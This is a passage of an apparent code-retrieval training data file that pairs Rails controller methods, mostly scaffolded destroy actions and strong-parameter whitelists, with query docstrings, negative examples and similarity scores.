@critical_question = CriticalQuestion.find(params[:id])\n @critical_question.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inquiry.destroy\n respond_to do |format|\n format.html { redirect_to inquiries_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @requisition = Requisition.find(params[:id])\n @requisition.destroy\n\n respond_to do |format|\n format.html { redirect_to requisitions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @requisition.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionable = @question.questionable\n @question.destroy\n respond_to do |format|\n format.html\n format.json { head :no_content }\n end\n end", "def destroy\n #@admin_academy_question.destroy\n a = Academy::Question.find(params[:id].split('-')[0])\n a.update(:is_deleted => true)\n dest = a.id\n type = 4 #answer_question_code\n Notification.clear_notifications(type,dest)\n a.save\n\n respond_to do |format|\n format.html { redirect_to admin_academy_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_requirement = QuestionRequirement.find(params[:id])\n @question_requirement.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_requirements_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @my_survey = nil # MySurvey.find(params[:id])\n @my_survey.destroy\n\n respond_to do |format|\n format.html { redirect_to my_surveys_url }\n format.json { head :no_content }\n end\n end", "def destroy\n#status_url(Status.find_by_survey_id(protocol.access_code)\n #@p = ResponseSet.where(:user_id => current_user)\n #@protocol = user_id.find_by_survey_id(protocol.access_code)\n #@p = ResponseSet.where(:question_id => @title_questions).first.string_value\n p= ResponseSet.where(:access_code => params[:id])\n p.first.destroy\n \n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam = Exam.find(params[:id])\n @exam.destroy\n\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n @multiple_choice_question.destroy\n\n respond_to do |format|\n format.html { redirect_to multiple_choice_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionpri.destroy\n respond_to do |format|\n format.html { redirect_to questionpris_path, notice: 'Mytest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @quick_answer = QuickAnswer.find(params[:id])\n @quick_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:id])\n check_forged_path\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to questions_url(@questionnaire, @page) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end", "def delete\n @questionnaire = Questionnaire.find(params[:id])\n if @questionnaire\n begin\n name = @questionnaire.name\n # if this rubric is used by some assignment, flash error\n unless @questionnaire.assignments.empty?\n raise \"The assignment <b>#{@questionnaire.assignments.first.try(:name)}</b> uses this questionnaire. Are sure you want to delete the assignment?\"\n end\n\n questions = @questionnaire.questions\n # if this rubric had some answers, flash error\n questions.each do |question|\n raise 'There are responses based on this rubric, we suggest you do not delete it.' unless question.answers.empty?\n end\n questions.each do |question|\n advices = question.question_advices\n advices.each(&:delete)\n question.delete\n end\n questionnaire_node = @questionnaire.questionnaire_node\n questionnaire_node.delete\n @questionnaire.delete\n undo_link(\"The questionnaire \\\"#{name}\\\" has been successfully deleted.\")\n rescue StandardError => e\n flash[:error] = e.message\n end\n end\n redirect_to action: 'list', controller: 'tree_display'\n end", "def destroy\n @question.active = !@question.active\n\n questions_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, questions_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully deleted\"\n redirect_to questions_path\n end", "def destroy\n @quest = Quest.find(params[:id])\n @quest.destroy\n\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user_daily_questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to user_daily_questionnaires_url, notice: \"User daily questionnaire was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @reqdifficulty.destroy\n respond_to do |format|\n format.html { redirect_to reqdifficulties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :ok }\n end\n end", "def destroy\n @survey = Survey.find(params[:id])\n @survey.destroy\n\n respond_to do |format|\n format.html { redirect_to surveys_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url }\n format.json { head :no_content }\n end\n\tend", "def destroy\n return\n @quest.destroy\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_learned.destroy\n respond_to do |format|\n format.html { redirect_to question_question_learneds_path(@question) }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_datum = QuestionDatum.find(params[:id])\n @question_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to question_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inquirydetail.destroy\n respond_to do |format|\n format.html { redirect_to inquirydetails_url, notice: 'Inquirydetail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_response = QuestionResponse.find(params[:id])\n @question_response.destroy\n\n respond_to do |format|\n format.html { redirect_to question_responses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @b_question.destroy\n respond_to do |format|\n format.html { redirect_to questions_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @quest_item.destroy\n respond_to do |format|\n format.html { redirect_to admin_quest_items_url, notice: 'Всё норм' }\n format.json { head :no_content }\n end\n end", "def destroy\n @base_question = BaseQuestion.find(params[:id])\n @base_question.destroy\n\n respond_to do |format|\n format.html { redirect_to base_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @qa = Qa.find(params[:id])\n @qa.destroy\n\n respond_to do |format|\n format.html { redirect_to qas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_question.destroy\n @survey_questions = SurveyQuestion.all\n # @survey_question.destroy\n # respond_to do |format|\n # format.html { redirect_to survey_questions_url, notice: 'Survey question was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end", "def destroy\n @questionfife.destroy\n respond_to do |format|\n format.html { redirect_to questionfives_url, notice: 'Questionfive was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attempt_question.destroy\n respond_to do |format|\n format.html { redirect_to attempt_questions_url }\n format.json { head :no_content }\n end\n end", "def delete\n question = QuestionTest.where(test_id: params[:test_id], question_id: params[:id])\n if question.delete_all\n return render json: {message: 'Question was removed succesfully.', error: false}\n else\n return render json: {message: 'Error: Something went wrong. Question was not removed.', error: true}\n end\n end", "def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to admin_questions_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_question.destroy\n respond_to do |format|\n format.html { redirect_to test_questions_url, notice: 'Test question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_question.destroy\n respond_to do |format|\n format.html { redirect_to test_questions_url, notice: 'Test question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find_by_key(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @smallsurvey.destroy\n respond_to do |format|\n format.html { redirect_to smallsurveys_url, notice: 'Smallsurvey was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n supprimer = QuestionOuverteService.instance.supprimerQuestion(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7912191", "0.7899743", "0.7899743", "0.7664643", "0.7662665", "0.7552165", "0.7463885", "0.7459275", "0.7426304", "0.7374384", "0.72807974", "0.7231025", "0.7203824", "0.7194857", "0.7178297", "0.71466076", "0.7134271", "0.7126231", "0.71232283", "0.7109177", "0.7096015", "0.70925665", "0.70854455", "0.7073978", "0.70722485", "0.70673364", "0.7056899", "0.7051449", "0.70490247", "0.704139", "0.7040536", "0.7027931", "0.7021915", "0.7020975", "0.7020975", "0.7020975", "0.7020975", "0.7020975", "0.7020975", "0.7020443", "0.7011948", "0.7011948", "0.70081264", "0.70072174", "0.7004375", "0.70040196", "0.70030546", "0.69985473", "0.6996997", "0.6996997", "0.6996997", "0.6996997", "0.6996997", "0.6996997", "0.6990693", "0.697834", "0.6976492", "0.697257", "0.69655925", "0.6963109", "0.69629943", "0.69610596", "0.6960797", "0.6960607", "0.6960607", "0.6960607", "0.6960607", "0.6960607", "0.69570076", "0.6955202", "0.69535387", "0.6949553", "0.69484985", "0.69445133", "0.6943598", "0.69353014", "0.69353014", "0.69293064", "0.69250214", "0.6917375", "0.6915152", "0.6913511", "0.69125015", "0.69048905", "0.69041795", "0.69028264", "0.6901579", "0.6901414", "0.68961823", "0.68900067", "0.68863475", "0.68827397", "0.68773973", "0.6875245", "0.6875245", "0.68723816", "0.6867272", "0.686714", "0.6864392", "0.6864392" ]
0.7925967
0
Use callbacks to share common setup or constraints between actions.
def set_questionnairedetail @questionnairedetail = Questionnairedetail.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def questionnairedetail_params params.require(:questionnairedetail).permit(:answerUser, :eval, :idquestion, :questionnaire_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, 